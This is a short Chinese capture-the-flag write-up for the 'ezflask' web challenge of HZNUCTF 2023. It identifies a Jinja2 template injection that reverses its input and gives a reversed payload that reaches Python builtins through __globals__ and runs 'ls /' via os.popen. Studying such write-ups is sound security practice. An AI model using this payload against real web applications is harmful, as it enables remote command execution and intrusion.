[HZNUCTF 2023 preliminary] 2023杭师大校赛(初赛) web方向题解wp 全
ezflask先看题目,应该是模板注入(SSTI),输入{{7*‘7’}}直接报错误。发现模板是反序输出的,怪不得不能直接输入{{}}。输入}}‘7’*7{{返回777777,是jinja2//直接手打,无所谓我是怨种?name=}})')(daer.)"/sl"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a